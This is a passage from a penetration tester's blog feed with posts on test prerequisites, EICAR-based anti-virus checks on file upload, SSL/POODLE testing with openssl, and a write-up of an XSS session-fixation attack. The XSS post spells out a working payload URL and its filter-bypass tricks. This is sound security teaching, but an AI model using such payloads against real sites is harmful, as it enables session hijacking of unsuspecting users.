		<guid isPermaLink="false">http://www.exploresecurity.com/?p=476</guid>
		<description><![CDATA[Before a web application penetration test is scheduled to start, the company performing the test will contact the client with a list of considerations and configurations that are required before the test can begin. Sadly, the importance of these can be lost in amongst the frenzy of ensuring the system is ready on time, or [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Before a web application penetration test is scheduled to start, the company performing the test will contact the client with a list of considerations and configurations that are required before the test can begin. Sadly, the importance of these can be lost in amongst the frenzy of ensuring the system is ready on time, or perhaps because the items listed don’t seem necessary. My <a href="https://research.nccgroup.com/wp-content/uploads/2020/07/the-why-behind-web-application-penetration-test-prerequisites-v-1-0.pdf">whitepaper</a> aims to address the latter, providing an explanation of the why behind the prerequisites, together with some general pre-test points for consideration. It is aimed at anyone who is charged with preparing for a web application penetration test, from project managers to developers, and as such it is written for both technical and non-technical readers. The paper ends with a one-page quick reference guide to help with future tests, which is available as a standalone document <a href="https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/06/web-application-penetration-test-prerequisites.pdf">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/the-why-behind-web-application-penetration-test-prerequisites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing for Anti-Virus on File Upload</title>
		<link>https://www.exploresecurity.com/testing-for-anti-virus-on-file-upload/</link>
		<comments>https://www.exploresecurity.com/testing-for-anti-virus-on-file-upload/#comments</comments>
		<pubDate>Tue, 26 May 2015 21:42:17 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[anti-virus]]></category>
		<category><![CDATA[EICAR]]></category>
		<category><![CDATA[file upload]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=386</guid>
		<description><![CDATA[One of the issues on a standard web app checklist is to test whether or not an application that supports file upload is scanning those files for malware. This article reviews the methodology and highlights the danger of corrupting an EICAR test file so that it no longer acts as a valid test. It is [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>One of the issues on a standard web app checklist is to test whether or not an application that supports file upload is scanning those files for malware. This article reviews the methodology and highlights the danger of corrupting an EICAR test file so that it no longer acts as a valid test. It is based on an internal presentation I gave, the slides for which are <a href="http://www.slideshare.net/exploresecurity/antivirus-checking-on-file-upload">here</a>.<span id="more-386"></span></p>
<h3>Methodology</h3>
<p>It&#8217;s really quite simple &#8211; upload a file, download it and compare the hashes. If you upload successfully but don&#8217;t download then that&#8217;s not sufficient proof &#8211; perhaps the file has been silently quarantined. Showing that the hashes of the uploaded and downloaded files are the same proves that the file has not been cleaned up. (If no download feature is available, you can only <em>speculate</em> on the lack of an error message on upload.)</p>
<p>It&#8217;s obviously unfair to report a system lacking AV if the file you upload gets only 1 out of 57 hits on VirusTotal, for example. So running the file through VirusTotal and including a screenshot in the report shows the client that the file should have been detected. The output of VirusTotal includes a SHA-256 hash so that nicely ties in with hashing the uploaded and downloaded files, mentioned above.</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/virustotal.jpg"><img class="aligncenter size-full wp-image-390" alt="virustotal" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/virustotal.jpg" width="577" height="245" /></a></p>
<h3>Which file?</h3>
<p>Of course, you don&#8217;t want to be uploading real malware. This is where the EICAR test comes in &#8211; a widely adopted benign signature that triggers an alert so that you can be sure your anti-virus product is running correctly. So, during a web application assessment, you put together a test file thus:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-notepad.jpg"><img class="aligncenter size-full wp-image-388" alt="eicar-test" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-notepad.jpg" width="1225" height="276" /></a></p>
<p>You upload and download it with no problem &#8211; so the files aren&#8217;t being checked for malware, right? Wrong. Take a look at the VirusTotal result for this file:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/vt-eicar-notepad.jpg"><img class="aligncenter size-full wp-image-389" alt="vt-eicar-test" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/vt-eicar-notepad.jpg" width="585" height="243" /></a></p>
<p>It would be unfair to report a lack of anti-virus scanning using this file as a test case &#8211; and not, as we&#8217;ll soon see, because most of the AVs have missed it.</p>
<p>Okay, what about this Word document?</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-word.jpg"><img class="aligncenter size-full wp-image-396" alt="eicar-word" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-word.jpg" width="1153" height="313" /></a></p>
<p>Hopefully that was a no-brainer. This file got no hits on VirusTotal because the document text isn&#8217;t stored exactly as it&#8217;s seen and thus the EICAR signature was not in the raw file at all.</p>
<h3>The EICAR test</h3>
<p>If you haven&#8217;t already guessed, the EICAR test specification is stricter than the appearance of that well-known string. According to the <a href="http://www.eicar.org/86-0-Intended-use.html">EICAR site</a> &#8220;any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters&#8230;<code>X5O!P&#37;@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</code>&#8220;. Don&#8217;t be fooled by the printable ASCII, though &#8211; the file is in fact executable, shown below on a Windows XP SP3 machine:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-running.jpg"><img class="aligncenter size-full wp-image-387" alt="eicar-running" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-running.jpg" width="1037" height="374" /></a></p>
<p>Let&#8217;s take that Word doc and, using a hex editor, stick the EICAR signature at the front:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-word-ed.jpg"><img class="aligncenter size-full wp-image-391" alt="eicar-word-ed" src="http://www.exploresecurity.com/wp-content/uploads/2015/05/eicar-word-ed.jpg" width="972" height="307" /></a></p>
<p>Now VirusTotal reports 26 out of 56 (46%). <span style="line-height: 1.714285714; font-size: 1rem;">In contrast when we put the signature elsewhere in the file (middle or end) we get 1 out of 57 hits.</span></p>
<p>Technically the anti-virus products that <em>haven&#8217;t</em> reported the file are quite right not to do so because there&#8217;s another condition that the file &#8220;is exactly 68 bytes long&#8221;. The spec goes on to say, though, that &#8220;it may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. The only whitespace characters allowed are the space character, tab, LF, CR, CTRL-Z&#8221;.</p>
<p>So let&#8217;s truncate the Word doc to 112 bytes &#8211; and this time VirusTotal reports 34 out of 56 hits (61%), compared to the original 26 (46%). As you can imagine, as we edit the file to get closer and closer to the original EICAR file, the hit rate goes up and up.</p>
<h3>In summary</h3>
<p>When testing file uploads for the presence of anti-virus scanning, the test file should be picked up by a significant number of AVs otherwise it’s not a fair test. To this end, it’s safest to use the EICAR file – but if you mess with the original too much (even if the signature is still intact), you might inadvertently create a file that isn’t an EICAR test at all. The specification for the EICAR test file is actually quite strict, although AVs tend to be overzealous in reporting it.</p>
<p>The best approach is simply to rename the EICAR test file to a file format the application allows you to upload, e.g. change eicar.com to eicar.pdf. One potential niggle is that the file is no longer in a valid format for the file type it&#8217;s purporting to be, e.g. PDFs don&#8217;t start with <code>X50!P%@AP</code> so if there&#8217;s any file <em>content</em> analysis being done, then the file may be rejected. Depending on the error, this could be taken as evidence that AV is running when in fact it&#8217;s not, so other tests are required to confirm this. If text files are allowed, always use the original EICAR test file as a .txt.</p>
<p>Finally, remember that the aim of this check is not to qualitatively assess the anti-virus, you&#8217;re really only aiming to prove whether or not AV is running. Once you have proof that it is, stop. It&#8217;s really all you can expect to check &#8211; and all that should be expected from you within the bounds of a standard application pentest.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/testing-for-anti-virus-on-file-upload/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>When HTML Encoding Helped XSS</title>
		<link>https://www.exploresecurity.com/when-html-encoding-helped-xss/</link>
		<comments>https://www.exploresecurity.com/when-html-encoding-helped-xss/#comments</comments>
		<pubDate>Fri, 30 Jan 2015 10:19:17 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[session fixation]]></category>
		<category><![CDATA[web apps]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=342</guid>
		<description><![CDATA[Recently I was pentesting a web app that had an unauthenticated XSS vulnerability but there was some heavy filtering in place. Nonetheless I was able to achieve session fixation using a combination of a technique I previously explained and some fun filter workarounds &#8211; including using the application&#8217;s own defensive HTML encoding to create a [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Recently I was pentesting a web app that had an unauthenticated XSS vulnerability but there was some heavy filtering in place. Nonetheless I was able to achieve session fixation using a combination of a technique I <a href="http://www.exploresecurity.com/session-fixation-and-xss-working-hand-in-hand/">previously explained</a> and some fun filter workarounds &#8211; including using the application&#8217;s own defensive HTML encoding to create a working XSS payload!<span id="more-342"></span></p>
<h3>The problem</h3>
<p>The application used a bespoke session management cookie. I&#8217;ll call it MYSESSIONID. On login, it wasn&#8217;t renewed. I couldn&#8217;t push a session cookie onto the victim in a classic session fixation attack. However, I had XSS in an unauthenticated page &#8211; but not the login page. The filtering in place used a combination of removal and encoding. Characters that were stripped out included:</p>
<p><code>+ ; ( ) ? &lt; &gt;</code></p>
<p>Characters that were allowed included:</p>
<p><code>" ' = [ ] / , .</code></p>
<p>So even though MYSESSIONID wasn&#8217;t protected with the <em>HttpOnly</em> flag, I just couldn&#8217;t construct a payload to steal it. Instead I looked to set one of my own. Here&#8217;s a breakdown of the attack:</p>
<h3>1. Get a valid cookie</h3>
<p>The application did not accept arbitrary session management cookies so the attacker sends a request to get a valid one. In this case, simply having no MYSESSIONID wasn&#8217;t enough, the cookie had to be present but an invalid value did the trick:</p>
<p><code>Cookie: MYSESSIONID=aaaaaaaaaaaaaaaaaaa:xx01</code></p>
<p>returned</p>
<p><code>Set-Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01; Path=/; Domain=.example.com</code></p>
<h3>2. The XSS</h3>
<p>The malicious link looked something like this (the highlighted bits are explained below):</p>
<p><code>https://www.example.com/app/folder/page?vuln=foo"<span style="color: red;">%0a</span>document.cookie%3d"MYSESSIONID%3dNDnQrZ6JsMHyJTBCw8n:xx01<span style="color: blue;">:%0d</span><span style="color: red;">path%3d/app/</span></code></p>
<p>When clicked, the XSS flaw wrote the following to the return page inside a JavaScript code block:</p>
<p><code>var a = "foo"<br />
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:&amp;#13;path=/app/";</code></p>
<p>The <span style="color: red;">%0a</span> at the front of the XSS payload was used to start a new line and this was sufficient to act as a statement terminator after <code>var a = "foo"</code> (semi-colons were being stripped). But in order to inject a <code>path</code> attribute (discussed below) I did need a semi-colon in the cookie string. By running every character through a Burp Intruder attack, I saw which characters were allowed, which were stripped and which were returned encoded. By inserting <span style="color: blue;">:%0d</span> into the XSS payload :&amp;#13; was returned &#8211; yes, %0d was encoded but %0a (used above) came back fine! Being inside a string inside a JavaScript block &amp;#13; wasn&#8217;t seen as an HTML entity by the browser and thus wasn&#8217;t interpreted. This provided the semi-colon needed to create a <code>path</code> attribute.</p>
<p>The colon at the front was used because it looked like the session cookie was delimited in that way. That &#8220;xx01&#8243; might refer, for example, to an internal server for load-balancing. Anyway, whatever it did, the application tolerated the unusual suffix to the session cookie. So that explains the :%0d appended to the cookie value in the XSS payload. Now for the <code><span style="color: red;">path%3d/app/</span></code>&#8230;</p>
<h3>3. The victim logins in</h3>
<p>So, at this point, the attacker has set the MYSESSIONID cookie on the victim to be <code>NDnQrZ6JsMHyJTBCw8n:xx01:&amp;#13</code> via a reflected XSS attack. Now the victim goes to the login page at https://www.example.com/app/login or is bounced there by navigating to a part of the site that enforces authentication. At login two MYSESSIONID cookies are passed up. This is because one had been set earlier in a <code>Set-Cookie</code> response header the first time the victim hit the site, even if that was by visiting the XSS&#8217;ed page. The genuine MYSESSIONID has a <code>path</code> of / and a <code>domain</code> of .example.com. If I had set a cookie by XSS with no attributes my cookie would have had a <code>path</code> of /app/folder/ (to match the path of the page which set the cookie) and a <code>domain</code> of www.example.com (to match the domain of said page). This would mean my cookie would never be sent up to /app/login for authentication, hence the need to set a <code>path</code> as part of the XSS.</p>
<p>Furthermore, when two MYSESSIONID values were sent up, the application took the first value so I had to make sure my cookie was first. By setting a <code>path</code> of /app/, it trumped the real MYSESSIONID for having a better path match to /app/login. Thus it was listed first in the POST request with the credentials and became authenticated:</p>
<p><code>Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:&amp;#13; MYSESSIONID=4GRc4jiKNeQIfsqh2:xx01</code></p>
<p>In contrast, the <code>domain</code> of a cookie does not govern precedence in a standardised way, it varies between browser. From memory I think my cookie (with a more specific domain match) was sent up first by IE but second by Chrome and Firefox. It&#8217;s not something you want to rely on. Neither could I overwrite the cookie because for that to happen the name, path and domain must match. That would mean having to change both attributes from their defaults but in this case I could only change one. This is because I&#8217;d need a second semi-colon to set a second attribute and in doing so, using the encoding trick above, the first attribute would be spoilt, e.g. I&#8217;d get</p>
<p><code>var a = "foo"<br />
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:&amp;#13;path=/app/<span style="color: red;">&amp;#13</span>;domain=.example.com";</code></p>
<p>Developing this proof-of-concept for this specific injection point was quite fiddly and took some persistence but it was worth it. For all of their filtering &#8211; and because they did not change the session cookie after authentication &#8211; this was a nice practical attack using an unauthenticated XSS. One take-away thought then: be sure to probe the XSS defences in full because you never know what might come back and how it could be of help!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/when-html-encoding-helped-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SS-Hell: the Devil is in the Details</title>
		<link>https://www.exploresecurity.com/ss-hell-the-devil-is-in-the-details/</link>
		<comments>https://www.exploresecurity.com/ss-hell-the-devil-is-in-the-details/#comments</comments>
		<pubDate>Thu, 06 Nov 2014 12:58:05 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[SSL/TLS]]></category>
		<category><![CDATA[Whitepaper]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=474</guid>
		<description><![CDATA[Penetration test reports commonly contain mention of vulnerabilities in SSL/TLS (hereafter referred to as just SSL). In many cases, this is due to system administrators not understanding the details of these services&#8217; configuration and assuming that simply using SSL provides security. The issues identified during penetration tests are usually low in severity, as an average [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Penetration test reports commonly contain mention of vulnerabilities in SSL/TLS (hereafter referred to as just SSL). In many cases, this is due to system administrators not understanding the details of these services&#8217; configuration and assuming that simply <em>using</em> SSL provides security. The issues identified during penetration tests are usually low in severity, as an average attacker would find them difficult to exploit, but they should be taken seriously to ensure that data in transit is properly secured. If something&#8217;s worth doing, it&#8217;s worth doing well. This <a href="https://research.nccgroup.com/wp-content/uploads/2020/07/ss-hell-v11-final.pdf">whitepaper</a>, co-written with <a href="https://twitter.com/wilgeralexander">Will Alexander</a>, discusses how organisations can avoid SSL issues commonly found during penetration tests, ensure that data in transit is properly secured and ultimately instil in users a sense of confidence that their information is adequately protected.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/ss-hell-the-devil-is-in-the-details/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thoughts on Testing for POODLE</title>
		<link>https://www.exploresecurity.com/thoughts-on-testing-for-poodle/</link>
		<comments>https://www.exploresecurity.com/thoughts-on-testing-for-poodle/#comments</comments>
		<pubDate>Sat, 01 Nov 2014 00:09:21 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[SSL/TLS]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[POODLE]]></category>
		<category><![CDATA[SSLv3]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=311</guid>
		<description><![CDATA[I recently did an internal presentation on POODLE &#8211; what the flaw is and how to test for it &#8211; and a version of the slides can be found here. Obviously much has been written about the vulnerability, its mitigations and what the future holds. What follows expands on the testing aspect of the presentation, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I recently did an internal presentation on POODLE &#8211; what the flaw is and how to test for it &#8211; and a version of the slides can be found <a href='http://www.slideshare.net/exploresecurity/ss-lv3-and-poodle'>here</a>. Obviously much <a href='https://www.imperialviolet.org/2014/10/14/poodle.html'>has<a> <a href='http://blog.cryptographyengineering.com/2014/10/attack-of-week-poodle.html'>been</a> <a href='http://blogs.opera.com/security/2014/10/security-changes-opera-25-poodle-attacks/'>written</a> about the vulnerability, its mitigations and what the future holds. What follows expands on the testing aspect of the presentation, with a few pointers on manual checks if you feel you need to verify or clarify &#8211; and possibly even add to &#8211; what the tools are telling you.<span id="more-311"></span></p>
<h3>SSLv3 support with block ciphers (in CBC mode) supported</h3>
<p>All SSL/TLS tools check for SSLv3 support. You can do this manually with:</p>
<p><code>openssl s_client -ssl3 –connect &lt;host&gt;:443</code></p>
<p>This confirms SSLv3 support but obviously it only reports 1 cipher suite. This is where the tools come in. However, remember that POODLE only affects block ciphers in cipher block chaining (CBC) mode (which I&#8217;ll just abbreviate to &#8220;block ciphers&#8221; now, as I believe all the block ciphers that can run under SSLv3 operate in CBC mode). So review the list of supported cipher suites: if the server only supports RC4 ciphers then don&#8217;t report POODLE as an issue (instead report SSLv3, which is still old and creaky, and RC4!).</p>
<h3>Server preference</h3>
<p>Even if the server supports block ciphers, it may <em>prefer</em> RC4-based ciphers so the likelihood of exploitation is going to be negligible. I recently wrote up <a href='http://www.exploresecurity.com/testing-for-cipher-suite-preference/'>what to do</a> if you find that your tools disagree over which cipher suite is preferered.</p>
<h3>TLS_FALLBACK_SCSV</h3>
<p>I also recently <a href='http://www.exploresecurity.com/poodle-and-the-tls_fallback_scsv-remedy/'>posted</a> in detail about how the TLS_FALLBACK_SCSV remediation worked. In short it&#8217;s a signal to the server from the client that it is connecting with a lower protocol version than it supports. If the server supports something better, then that should have been negotiated during the earlier connection attempts, so the server can abort the connection as being suspicious.</p>
<p>With the release of OpenSSL v1.0.1j it&#8217;s easy to test for TLS_FALLBACK_SCSV support:</p>
<p><code>openssl s_client -ssl3 -fallback_scsv -connect &lt;host&gt;:443</code></p>
<p>This is telling the server than I&#8217;d like to connect using SSLv3 &#8211; but grudgingly. I&#8217;m using <code>-ssl3</code> in the context of POODLE but TLS_FALLBACK_SCSV offers wider protection than this (checking support for it will continue to be worthwhile long after we&#8217;ve forgotten about POODLE.) Below you can see the fake cipher suite value advertising the fallback (which Wireshark couldn&#8217;t decode into something meaningful as it didn&#8217;t recognise the new cipher suite value 0&#215;5600 at the time):</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2014/10/tls_fallback_scsv.png"><img src="http://www.exploresecurity.com/wp-content/uploads/2014/10/tls_fallback_scsv.png" alt="tls_fallback_scsv" width="712" height="98" class="aligncenter size-full wp-image-313" /></a></p>
<p>If the OpenSSL connection succeeds as usual (as shown below &#8211; a cipher suite has been chosen) then the server doesn&#8217;t support TLS_FALLBACK_SCSV.</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2014/10/openssl_connects.png"><img src="http://www.exploresecurity.com/wp-content/uploads/2014/10/openssl_connects.png" alt="openssl_connects" width="590" height="99" class="aligncenter size-full wp-image-314" /></a></p>
<p>If the connection fails with the new <code>inappropriate_fallback</code> alert then the server does support TLS_FALLBACK_SCSV:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2014/10/tls_fallback_alert.png"><img src="http://www.exploresecurity.com/wp-content/uploads/2014/10/tls_fallback_alert.png" alt="tls_fallback_alert" width="1182" height="78" class="aligncenter size-full wp-image-315" /></a></p>
<p>Enabling TLS_FALLBACK_SCSV is all very well but it does depend on client support too &#8211; so if the server has SSLv3 enabled with block ciphers supported (and preferred) then it&#8217;s not out of the woods. A few browsers do already support it &#8211; Chrome 33 (Feb 2014), Firefox 35 (Jan 2015), Opera 25 (Oct 2014) &#8211; so it&#8217;s better than nothing, and of course support for it among browsers will only improve. Acknowledging TLS_FALLBACK_SCSV support is therefore worthwhile &#8211; both today and in the future. A client may even feel aggrieved if they&#8217;ve gone to the trouble of enabling TLS_FALLBACK_SCSV but get no credit for it in their pentest report!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/thoughts-on-testing-for-poodle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
